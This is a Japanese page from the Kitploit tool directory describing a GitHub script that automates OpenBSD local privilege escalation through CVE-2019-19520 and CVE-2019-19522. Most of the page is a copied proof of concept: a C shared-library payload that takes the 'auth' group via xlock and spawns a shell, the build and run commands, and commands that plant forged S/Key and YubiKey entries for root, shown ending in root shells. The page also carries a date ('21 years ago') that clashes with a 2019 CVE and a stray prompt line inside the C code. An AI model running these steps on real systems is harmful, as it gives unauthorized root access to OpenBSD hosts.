Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Openbsd-Privilege-Escalation — openbsdシステム上で特権昇格プロセスを自動化するスクリプト。(CVE-2019-19520) を利用してxlockバイナリを悪用し、そのsgidを取得後、(CVE-2019-19522) を利用してauthグループの特権を悪用し、SkeyまたはYubikeyにキーを追加してrootユーザーに昇格する。 | Kitploit
ツール/GitHubGitHub/retrymp3/openbsd-privilege-escalation
特権昇格脆弱性分析エクスプロイトペネトレーションテスト認証
GitHubretrymp3/openbsd-privilege-escalation

Openbsd-Privilege-Escalation

openbsdシステム上で特権昇格プロセスを自動化するスクリプト。(CVE-2019-19520) を利用してxlockバイナリを悪用し、そのsgidを取得後、(CVE-2019-19522) を利用してauthグループの特権を悪用し、SkeyまたはYubikeyにキーを追加してrootユーザーに昇格する。

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
21年前未レビュー

Openbsd-Privilege-Escalation

OpenBSDシステム上で特権昇格のプロセスを自動化するスクリプトです。(CVE-2019-19520) xlockバイナリを悪用してそのsgidを取得し、(CVE-2019-19522) authグループの権限を悪用してSkeyまたはYubikeyに鍵を追加することで、rootユーザーに昇格します。

Cコードは、元のPoC(https://www.openwall.com/lists/oss-security/2019/12/04/5)をほぼコピーしたものです。

CVE-2019-19522: S/KeyおよびYubiKeyを介したローカル特権昇格

OpenBSDでは、/usr/X11R6/bin/xlock はデフォルトでインストールされ、 set-user-IDではなく set-group-ID "auth" に設定されています。したがって、 以下のチェックは不完全であり、代わりに issetugid() を使用すべきです:


101 _X_HIDDEN void * 102 driOpenDriver(const char driverName) 103 { ... 113 if (geteuid() == getuid()) { 114 / don't allow setuid apps to use LIBGL_DRIVERS_PATH */ 115 libPaths = getenv("LIBGL_DRIVERS_PATH");

ローカルの攻撃者はこの脆弱性を悪用し、独自のドライバをdlopen()して、 グループ "auth" の権限を取得できます:

$ id uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)

$ cd /tmp

$ cat > swrast_dri.c << "EOF" #include <paths.h> #include <sys/types.h> #include <unistd.h>

static void attribute ((constructor)) _init (void) { gid_t rgid, egid, sgid; if (getresgid(&rgid, &egid, &sgid) != 0) _exit(LINE); if (setresgid(sgid, sgid, sgid) != 0) _exit(LINE);

root@kitploit:~
char * const argv[] = { _PATH_KSHELL, NULL };
execve(argv[0], argv, NULL);
_exit(__LINE__);

} EOF

$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c

$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 & [1] 2706

$ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66

$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)

グループ auth の権限を取得したので、その権限を悪用して独自のrootキーをSkeyまたはYubikeyに追加できるようになりました。

CVE-2019-19522: S/KeyおよびYubiKeyを介したローカル特権昇格

S/KeyまたはYubiKeyの認証タイプが有効になっている場合(どちらもデフォルトでインストールされていますが、無効化されています)、ローカルの攻撃者はグループ "auth" の権限を悪用して、ユーザー "root" の完全な権限を取得できます(login_skeyとlogin_yubikeyは、/etc/skeyと/var/db/yubikey内のファイルが正しいユーザーに属しているかを検証せず、これらのディレクトリはどちらもグループ "auth" によって書き込み可能なためです)。

(注:グループ "auth" の権限を取得するには、ローカルの攻撃者が最初にxlockのCVE-2019-19520を悪用できます。)

S/Keyが有効な場合(skeyinit -E による)、"auth" 権限を持つローカルの攻撃者は、ユーザー "root" のS/Keyエントリ(/etc/skey内のファイル)を追加できます(このファイルがすでに存在する場合、攻撃者は単純に削除または名前変更することはできません。/etc/skey はスティッキーであるためです。簡単な回避策は存在しますが、興味のある読者への課題として残されています):

$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)

$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root

$ chmod 0600 /etc/skey/root

$ env -i TERM=vt220 su -l -a skey otp-md5 99 obsd91335 S/Key Password: EGG LARD GROW HOG DRAG LAIN

#id uid=0(root) gid=0(wheel) ...

YubiKeyが有効な場合(login.conf による)、"auth" 権限を持つローカルの攻撃者は、ユーザー "root" のYubiKeyエントリ(/var/db/yubikey内の2つのファイル)を追加できます(これらのファイルがすでに存在する場合、攻撃者はそれらを単純に削除または名前変更できます。/var/db/yubikey はスティッキーではないためです):

$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)

$ echo 32d32ddfb7d5 > /var/db/yubikey/root.uid

$ echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key

$ env -i TERM=vt220 su -l -a yubikey Password: krkhgtuhdnjclrikikklulkldlutreul

#id uid=0(root) gid=0(wheel) ...

ツールをダウンロード